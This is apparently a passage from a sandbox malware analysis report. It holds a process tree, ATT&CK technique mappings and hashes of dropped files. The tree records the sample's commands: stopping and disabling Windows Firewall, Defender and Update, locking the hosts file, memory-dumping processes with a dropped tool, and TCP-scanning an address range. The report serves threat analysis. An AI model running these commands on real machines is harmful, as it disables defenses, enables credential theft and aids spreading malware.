- Modifies Windows Firewall
PID:1620
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:844
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:2868
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:2120
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:2464
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:1936
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:488
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:1124
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:1944
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:1104
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:2044
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:2164
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:2728
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:2616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:2520
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:1040
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:1940
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:540
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:676
-
-
C:\Windows\TEMP\zakhayhsp\ugnayrher.exeC:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 1112 C:\Windows\TEMP\zakhayhsp\1112.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1012
-
-
C:\Windows\TEMP\zakhayhsp\ugnayrher.exeC:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 1164 C:\Windows\TEMP\zakhayhsp\1164.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2404
-
-
C:\Windows\TEMP\zakhayhsp\ugnayrher.exeC:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 1804 C:\Windows\TEMP\zakhayhsp\1804.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3068
-
-
C:\Windows\TEMP\zakhayhsp\ugnayrher.exeC:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 992 C:\Windows\TEMP\zakhayhsp\992.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1820
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\zakhayhsp\ybgqmsgtg\scan.bat2⤵
- Loads dropped DLL
PID:1016 -
C:\Windows\zakhayhsp\ybgqmsgtg\meqyhgrry.exemeqyhgrry.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2716
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵PID:3396
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3476
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:3680
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3344
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:1424
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3604
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:3740
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1052
-
C:\Windows\SysWOW64\koaaya.exeC:\Windows\SysWOW64\koaaya.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1848
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2848
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:1604
-
C:\Windows\system32\taskeng.exetaskeng.exe {2E81E871-D271-444C-AB15-93DBF2A0EE13} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:2420
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\egqqwqb.exe2⤵PID:1972
-
C:\Windows\ime\egqqwqb.exeC:\Windows\ime\egqqwqb.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:2252
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F2⤵PID:2476
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3004
-
-
C:\Windows\system32\cacls.execacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F3⤵PID:2960
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F2⤵PID:2472
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2000
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F3⤵PID:2800
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F2⤵PID:4000
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3340
-
-
C:\Windows\system32\cacls.execacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F3⤵PID:1268
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\egqqwqb.exe2⤵PID:3568
-
C:\Windows\ime\egqqwqb.exeC:\Windows\ime\egqqwqb.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:3236
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F2⤵PID:3580
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2044
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F3⤵PID:2672
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:3856
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Windows\SysWOW64\Packet.dll
- Size 95KB
- SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
- MD5 86316be34481c1ed5b792169312673fd
- SHA1 6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
- SHA512 3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
- SSDEEP 1536:zg6Z54QkC2wpk2c+ZCDHKklh74RTfIEtaYQ0:M6Z54ARcIxk4LIEtaYj
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\SysWOW64\wpcap.dll
- Size 275KB
- SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
- MD5 4633b298d57014627831ccac89a2c50b
- SHA1 e5f449766722c5c25fa02b065d22a854b6a32a5b
- SHA512 29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
- SSDEEP 6144:E4yIm5rC9WNWwKcNBSCiLvK8+jKgZBwIbg2:jyIm59WwpqCuEKIwv2
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\TEMP\refblbart\config.json
- Size 693B
- SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
- MD5 f2d396833af4aea7b9afde89593ca56e
- SHA1 08d8f699040d3ca94e9d46fc400e3feb4a18b96b
- SHA512 2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
- MD5 SHA1 SHA512
- Path C:\Windows\TEMP\zakhayhsp\1112.dmp
- Size 1.4MB
- SHA256 d5b6b5e3186a6962962ff1cd76fadf79110f10d555b754f6b41d45196bf73e52
- MD5 336f516787129cbc116bcf7d9fdcc353
- SHA1 39751d062ca6b418bb290e4e9d10055b19b6fd0c
- SHA512 44ad8b15ca6c3e9ae3c0482e29a9e711ee1a6b4d2254571d0481cd1a2bbe56f59307de3d011195535165189db0f57f33c4f9ab2bf81a36826996c0b86e78752b
- SSDEEP 3072:9ImkvpWbYt/1b8jb/41XTGbt+slSp+aNf:GmkvGuCIm+slSpL
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\TEMP\zakhayhsp\1164.dmp
- Size 1.3MB
- SHA256 375612c489d3de559912521847f8e6ca4663a0aabe599e8147457bb37c030024
- MD5 c8843d20a29bce63472aac2dd61d36b9
- SHA1 fa4c82ff6ad35195ad3c387b1c57675c0aa31bf4
- SHA512 a483416894f75cd9a5da2fb6bd8765eb77d04cc21d5ab3ca2384c745f3a7a591ec6b202a1599e0d405daede6e58e4714e157dcc657eaeb4ede36309e3ea8e076
- SSDEEP 3072:C33URXhamDJRgc4rEE2MVa8+MH9YONqsDzDdXtoE0PYzlN+q1SaK1yb:q3U+QA1+yCOHd9oEh+q1Sab
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\TEMP\zakhayhsp\1804.dmp
- Size 7.0MB
- SHA256 6910a4e176e94de876d4e11822b6e3e6b8688d3d08e33e37549046f6a61cf02c
- MD5 80734f9d14de62c1eb820854cff54343
- SHA1 622f97321f418df5145e79f7ed7c503d46eb1ffa
- SHA512 3cc4c808994896904966766c2aaa72541b67f27a87445060b23b99777fe1e41898cb76e9deab157dc03f5281ea5980b86945d272c344195ad3e56f83d164c2c5
- SSDEEP 24576:vgbjYP365zApkTK0f4CLhSKjLZ75I4DUqisG0Fz:vqjYP365zApkTK0f4gSIl5I4D5G0B
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\TEMP\zakhayhsp\552.dmp
- Size 4.5MB
- SHA256 793a181a38d790ff71661c5397b0a72375e2b6da25deeeff2ce1758794ca913c
- MD5 9a6bfa52880f938591746fe2bf8c023e
- SHA1 d63c7de594a477ef3ecef2368dcda57606733109
- SHA512 fee58efed333645cf0edd22ecacba23f9339f60a2a0c67513cd81aa015dfbc4a6a0d306f626532262625363a88357555eedfc8c6b7b3bc9b3ca55c580e3b80a0
- SSDEEP 6144:wua6EfmfhxBUq6jQgxxGv2CQ9vjiW+vtvX3f/f/b5RIvSrQ3ud+GiS23wcxlkvjf:qgxBUq6Ug6Sx+vJMeniU
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\TEMP\zakhayhsp\992.dmp
- Size 851KB
- SHA256 838f36cd638fd718837510baaed6667db545ecc67f1bb4162c679873396978a6
- MD5 040cf9d97de53d6555375a4c1ed3cb02
- SHA1 e44170d7cf8f0c5dfded2312efcc175858f46394
- SHA512 84db04a7968994114355f5d0031508e838f5c4e1ec9a91e4a5c0f46dca8af0a69a5ab2339358dce58a3dc9f0bab7b6ab8b094d2ae68441665a0153fe2d5a749e
- SSDEEP 768:T9CrtHWrrCSzrzCQjp4F2GEsNmLp7qcWU7muKPgSy75Z3DDiV/6kXagQHEgUeV+D:TkKzLCF5G8xOZTDtkXNe6et+G8SMhYI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Temp\zakhayhsp\ugnayrher.exe
- Size 126KB
- SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
- MD5 e8d45731654929413d79b3818d6a5011
- SHA1 23579d9ca707d9e00eb62fa501e0a8016db63c7e
- SHA512 df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
- SSDEEP 3072:S87vdHRv2cf+xfkXQcsjBefXMTpmaRh+X7/UB7aglybvczXEXVHL:S8Nx2kRQRtmXuxROcBeiyb0XE
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\drivers\etc\hosts
- Size 975B
- SHA256 a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
- MD5 b5d815ff5310f62de5020591be598bc0
- SHA1 8013562b0cc2516d16d474308c8982a31b7f5dd0
- SHA512 4e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
- MD5 SHA1 SHA512
- Path C:\Windows\ygyeuqcu\egqqwqb.exe
- Size 13.8MB
- SHA256 f834fd8d20d9360e87234e873d30a56aae019829ec388c36cd4dfa0870ad779e
- MD5 8c7cd0928fe98f644c37833d662f5d69
- SHA1 8d5b582d0730e2f452836726f6032b9cb0086487
- SHA512 28a22764a34adb832b797f91e75655a2567066bcdb884ffb188928ccd8000e1e80b2618942810de474bab9ad83b7a2a89482d8447dbc95b565a07dcc6c483a53
- SSDEEP 98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\zakhayhsp\ybgqmsgtg\ip.txt
- Size 158B
- SHA256 f08948512f2d72078e89344698630d22cb225fd0aa64847ecb8e487f4f5da870
- MD5 68600fcac9acba4ec21d9270d3ab6bfd
- SHA1 c7136279108cf360936a53f77bb4e66565f2383a
- SHA512 44f0959f3b2d969ce5f714ff2ab8d35d37a6ae258bcfda110da6897b946bad3fff4df123e14cf3dbf36e446aa942526ad19e3d3dc2853c72b1a65fa098cedbdf
- MD5 SHA1 SHA512
- Path C:\Windows\zakhayhsp\ybgqmsgtg\kbybalanc.exe
- Size 332KB
- SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
- MD5 ea774c81fe7b5d9708caa278cf3f3c68
- SHA1 fc09f3b838289271a0e744412f5f6f3d9cf26cee
- SHA512 7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
- SSDEEP 6144:Ivx5xQU1qp9wIirKxl+mdzGaqdWa/fx9cufQNn8QOohgM4nK6mwBLaq:+x71qpeIirCl+mKdWa/IuOn8QOcgPNg
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\zakhayhsp\ybgqmsgtg\meqyhgrry.exe
- Size 63KB
- SHA256 a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
- MD5 821ea58e3e9b6539ff0affd40e59f962
- SHA1 635a301d847f3a2e85f21f7ee12add7692873569
- SHA512 0d08235781b81ff9e0a75f0e220a8d368d95ee75bf482670e83696e59d991aad68310ae7fa677ac96ffad1f97b3ec7d7208dc26d2edb111c39213b32502b82f6
- SSDEEP 1536:x0Q72W1PxmgT7IwqWAKoFX3KG0t1/oXuByKz:x0QCoPxmy7IwIp7WG
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\zakhayhsp\ybgqmsgtg\scan.bat
- Size 160B
- SHA256 e81281a79ff29ea005b0d7fc723f322d5161cc33334f61e08d1d62d26b7e33c2
- MD5 83d5e7ce961eee0760c78bdb7160c20c
- SHA1 7f03dc91088c5083f9b7a68fc99f51257d6d2ed2
- SHA512 e30650f296f6ca702c1513f1045519e5e536bb754bbf6b1f53512dc787e91d45e82a0dbd744d0381e66708db3b82bfb058d130428992fd6331b7d0b93abddff1
- MD5 SHA1 SHA512
- Path \Windows\Temp\nst7FFB.tmp\System.dll
- Size 11KB
- SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
- MD5 2ae993a2ffec0c137eb51c8832691bcb
- SHA1 98e0b37b7c14890f8a599f35678af5e9435906e1
- SHA512 2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
- SSDEEP 192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn
- MD5 SHA1 SHA512 SSDEEP
- Path \Windows\Temp\nst7FFB.tmp\nsExec.dll
- Size 6KB
- SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
- MD5 b648c78981c02c434d6a04d4422a6198
- SHA1 74d99eed1eae76c7f43454c01cdb7030e5772fc2
- SHA512 219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
- SSDEEP 96:U7GUxNkO6GR0t9GKKr1Zd8NHYVVHp4dEeY3kRnHdMqqyVgNN3e:mXhHR0aTQN4gRHdMqJVgNE
- MD5 SHA1 SHA512 SSDEEP
- Path \Windows\Temp\refblbart\hzbaub.exe
- Size 343KB
- SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
- MD5 2b4ac7b362261cb3f6f9583751708064
- SHA1 b93693b19ebc99da8a007fed1a45c01c5071fb7f
- SHA512 c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
- SSDEEP 6144:cBEXyznIpc98DW/X0w/c766ITRMwclkAAOY7K+JvDtidlO:b2IpxDW/ps664RMJlrABcm
- MD5 SHA1 SHA512 SSDEEP
- Path \Windows\Temp\xohudmc.exe
- Size 72KB
- SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
- MD5 cbefa7108d0cf4186cdf3a82d6db80cd
- SHA1 73aeaf73ddd694f99ccbcff13bd788bb77f223db
- SHA512 b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
- SSDEEP 1536:NG6YL0tJYtg0M4xbVBjuvvWEePjnjnWklU1Y8HOS:kotJYtg0Mu3jY+EL3Y8HOS
- MD5 SHA1 SHA512 SSDEEP
- Path \Windows\zakhayhsp\Corporate\vfshost.exe
- Size 381KB
- SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
- MD5 fd5efccde59e94eec8bb2735aa577b2b
- SHA1 51aaa248dc819d37f8b8e3213c5bdafc321a8412
- SHA512 74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
- SSDEEP 6144:Nb2oBq5C4PmDv0Jdu3mU0S7hJkb6HtJCUzMwF0Smf9dBYOZBiTsGsDA:Nb2oh4PmDv0m3mZ2q6H/CUzMwFVUdbTE
- MD5 SHA1 SHA512 SSDEEP
- Path \Windows\zakhayhsp\ybgqmsgtg\wpcap.exe
- Size 424KB
- SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
- MD5 e9c001647c67e12666f27f9984778ad6
- SHA1 51961af0a52a2cc3ff2c4149f8d7011490051977
- SHA512 56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
- SSDEEP 6144:QMfCdwTjPBATlmSfB0KYljf/ZH/6xNEN3MUFPuprkjUhUmpqV/TW6cDBvKasW6B:tCdM9AhHfTYexNYeFkyU/JTg1KRp
- MD5 SHA1 SHA512 SSDEEP